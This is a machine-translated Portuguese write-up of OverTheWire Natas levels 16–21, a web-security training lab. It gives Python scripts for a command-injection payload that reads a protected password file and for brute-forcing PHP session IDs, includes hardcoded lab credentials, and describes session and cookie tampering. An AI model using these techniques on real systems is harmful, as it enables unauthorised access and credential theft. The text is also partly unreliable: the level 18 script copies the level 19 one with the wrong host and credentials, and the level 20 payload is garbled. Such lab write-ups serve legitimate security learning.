
Neste artigo, trataremos da operação de algumas identidades da WEB usando o jogo de guerra
Natas como exemplo. Cada nível tem acesso à senha do próximo nível. Todas as senhas também são armazenadas nos arquivos / etc / natas_webpass /. Por exemplo, a senha para natas5 é armazenada no arquivo / etc / natas_webpass / natas5 e é somente leitura para usuários natas4 e natas5.
Partes passadas:
parte 1 e
parte 2 .
Informações OrganizacionaisEspecialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:
- PWN;
- criptografia (criptografia);
- tecnologias de rede (rede);
- reverso (engenharia reversa);
- esteganografia (estegano);
- pesquisa e exploração de vulnerabilidades na WEB.
Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.
Para que você possa descobrir sobre novos artigos, software e outras informações, criei um
canal no Telegram e um
grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações
pessoais e responderei a todos .
Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.
nível 16
A julgar pelo código fonte, todos os caracteres de serviço são filtrados e a transferência de "colagem" de dois arquivos é impossível, pois a cadeia é transmitida entre aspas.

Usando construções como $ (cmd), você pode controlar a saída da "chave".

A ideia é esta:
- Se grep -i "key" file.txt estiver em construção, key for uma string vazia, o arquivo inteiro será exibido.
- Como existe apenas uma linha no arquivo com a senha, podemos controlar sua saída.
- Ao passar a expressão regular para grep dentro da construção $ (cmd), produziremos uma linha com uma senha (quando adivinhamos o início da senha) no parâmetro -i e nenhuma linha será gerada no dictionary.txt, ou em vez de uma linha com a senha será uma sequência vazia e o arquivo dictionary.txt inteiro será exibido.
import httplib import urllib import re import base64 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" count = 0 headers = {} conn = httplib.HTTPConnection("natas16.natas.labs.overthewire.org") headers["Authorization"] = "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==" count = 0 passwd = "" while count != 32: for i in range(len(charset)): needle = urllib.quote_plus("$(grep -E ^" + passwd + charset[i] +".* /etc/natas_webpass/natas17)Afr") conn.request("GET", "/?needle=" + needle + "&submit=Search", "", headers) r1 = conn.getresponse() data = r1.read() if(data.count("African") == 0): passwd += charset[i:i+1] print(str(count) + " : " + str(passwd)) count += 1 break conn.close() print("Password : " + passwd)

Tem uma senha.
nível 17
Usamos o sqlmap de acordo com o cenário anterior (da segunda parte).



Existe uma senha.
nível 18
Vamos analisar o código fonte.

O primeiro passo é verificar se os cookies estão definidos no navegador (função my_session_start ()).

Como não há nada para controlar os cookies na tarefa, eles devem ser definidos, ou seja, a função retornará false e no código raiz iremos para o ramo else. Verificando o preenchimento dos campos de nome de usuário e senha. A função session_id () pega um número aleatório no intervalo de 1 a 640 (o que é muito estranho por que essa restrição) e cria configurações para a função session_start ().


Em seguida, o nome de usuário == "admin" é verificado. Se efetuamos login como administrador, somos informados sobre isso e recebemos uma senha para o próximo nível.

Idéia de solução: o intervalo de IDs é definido para os usuários. Escreveremos um arquivo de força bruta que irá para a página com o ID no intervalo de 1 a 640.
import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break

Obtemos a senha com id = 119.
nível 19
Como o código é o mesmo, a ideia é a mesma. Vamos ver o biscoito.

String codificada em hexadecimal. Nós decodificaremos.

Resta apenas mudar o código.
import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break

Existe uma senha.
nível 20
Após analisar o código fonte, podemos assumir que 2 funções merecem atenção.
A função mywrite () grava dados em cada linha como key_value. Mas a chave é selecionada aleatoriamente e o valor é transferido do campo de entrada.

A função myread () passa por todas as linhas e lê dados separados por espaço (chave e valor).

Nós veremos a senha somente se a linha "admin 1" aparecer nesse arquivo. O fato é que podemos ignorar a lógica do aplicativo e anotar quantas linhas quisermos. Para fazer isso, devemos enviar uma linha do formulário "Value0_TranslationStrings_Key1_Value1, etc."

Depois que o valor é gravado no arquivo, recarregamos a página para que seja lida no arquivo.

Tiramos a senha.
nível 21
Somos fornecidos com duas versões do site. O fato é que cookies e sessões estão disponíveis para transferência entre páginas diferentes no mesmo domínio. Estudamos o código fonte do segundo site. Todos os parâmetros aceitos são definidos na sessão. Por analogia com os níveis anteriores, você deve definir admin => 1.

Basta adicionar um novo parâmetro de administrador com o valor 1, recarregar a página e colocar esses cookies na página principal.


Tiramos a senha.
Para ser continuado. Você pode se juntar a nós no
Telegram .